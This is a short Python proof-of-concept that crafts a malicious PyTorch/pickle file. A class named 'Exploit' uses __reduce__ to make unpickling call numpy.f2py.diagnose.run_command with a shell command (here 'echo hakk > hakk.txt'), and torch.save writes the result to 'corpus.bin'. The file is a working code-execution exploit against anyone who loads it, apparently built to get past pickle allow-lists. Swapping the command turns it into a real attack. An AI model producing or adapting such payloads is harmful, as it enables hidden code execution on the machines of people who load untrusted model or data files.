import torch class Exploit: def __reduce__(self): import numpy.f2py.diagnose return numpy.f2py.diagnose.run_command, ('echo hakk > hakk.txt', ) torch.save(Exploit(), 'corpus.bin')